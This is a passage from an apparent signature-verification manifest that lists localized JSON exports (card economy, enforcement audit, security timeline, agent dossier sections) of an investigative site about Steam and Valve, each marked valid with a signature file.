file\tValid\tFile.asc\nsteam_dossier_part_ii_section_4_agent_elliott.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_part_ii_section_5_agent_tabitha.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_10_agent_dylan.jsonexports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_11_1_agent_constance.jsonexports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_11_agent_mariana.jsonexports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_12_agent_randall.jsonexports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_13_agent_neil.jsonexports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_14_1_agent_dora.jsonexports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_14_agent_tom.jsonexports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_15_agent_helen.jsonexports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_16_agent_john.jsonexports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_17_agent_mary.jsonexports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_18_agent_viola.jsonexports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_19_agent_beatrix.jsonexports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_1_agent_austin.jsonexports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_2_agent_kal.jsonexports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_3_1_agent_june.jsonexports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_3_2_agent_ignatus.jsonexports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_3_agent_lynn.jsonexports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_4_agent_gordon.jsonexports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_5_1_agent_lucia.jsonexports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_5_agent_sofia.jsonexports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_6_agent_carla.jsonexports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_7_agent_amy.jsonexports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_8_1_agent_jasmine.jsonexports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_8_agent_aaron.jsonexports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json\tSee signed file\tValid\tFile.asc\nsteam_dossier_section_9_agent_lorraine.jsonexports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json\tSee signed file\tValid\tFile.asc\nmanifest.jsonexports/agent-protocol/manifest.json\tSee signed file\tValid\tFile.asc\nvalidation.jsonexports/agent-protocol/validation.json\tSee signed file\tValid\tFile.asc\ndossier-text.jsonexports/dossier-text.json\t2026-10-04\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/ar/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/ar/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/ar/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/ar/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/ar/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/ar/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/ar/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/ar/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/ar/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/ar/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/ar/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/ar/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/ar/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/ar/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/ar/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/ar/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/ar/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/ar/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/ar/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/ar/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/de/card_economy.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy_de.content.jsonexports/pages/de/card_economy_de.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/de/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/de/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit_de.content.jsonexports/pages/de/enforcement_audit_de.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/de/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/de/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/de/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/de/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/de/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/de/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/de/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/de/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/de/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/de/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/de/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/de/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/de/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/de/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/de/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/de/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/de/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/en/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/en/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/en/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/en/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/en/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/en/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/en/license_disclaimer.content.json\t2026-10-04\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/en/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/en/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/en/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/en/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/en/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/en/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/en/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/en/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/en/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsource_1_response.content.jsonexports/pages/en/source_1_response.content.jsonExcluded annex · unverified · do not cite as evidence\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/en/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/en/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/en/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/en/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/es/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/es/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/es/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/es/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/es/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/es/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/es/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/es/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/es/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/es/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/es/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/es/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/es/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/es/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/es/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/es/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/es/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/es/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/es/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/es/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/fr/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/fr/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/fr/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/fr/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/fr/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/fr/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/fr/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/fr/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/fr/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/fr/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/fr/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/fr/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/fr/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/fr/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/fr/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/fr/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/fr/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/fr/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/fr/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/fr/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/hi/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/hi/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/hi/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/hi/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/hi/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/hi/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/hi/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/hi/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/hi/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/hi/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/hi/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/hi/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/hi/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/hi/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/hi/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/hi/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/hi/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/hi/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/hi/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/hi/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/id/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/id/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/id/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/id/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/id/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/id/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/id/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/id/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/id/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/id/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/id/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/id/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/id/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/id/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/id/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/id/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/id/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/id/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/id/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/id/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/it/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/it/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/it/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/it/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/it/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/it/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/it/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/it/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/it/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/it/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/it/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/it/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/it/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/it/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/it/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/it/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/it/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/it/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/it/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/it/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/ja/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/ja/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/ja/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/ja/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/ja/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/ja/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/ja/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/ja/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/ja/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/ja/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/ja/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/ja/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/ja/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/ja/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/ja/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/ja/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/ja/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/ja/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/ja/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/ja/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/ko/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/ko/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/ko/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/ko/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/ko/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/ko/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/ko/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/ko/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/ko/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/ko/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/ko/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/ko/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/ko/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/ko/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/ko/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/ko/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/ko/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/ko/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/ko/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/ko/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/nl/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/nl/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/nl/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/nl/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/nl/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/nl/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/nl/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/nl/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/nl/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/nl/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/nl/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/nl/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/nl/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/nl/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/nl/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/nl/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/nl/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/nl/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/nl/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/nl/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/pl/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/pl/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/pl/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/pl/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/pl/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/pl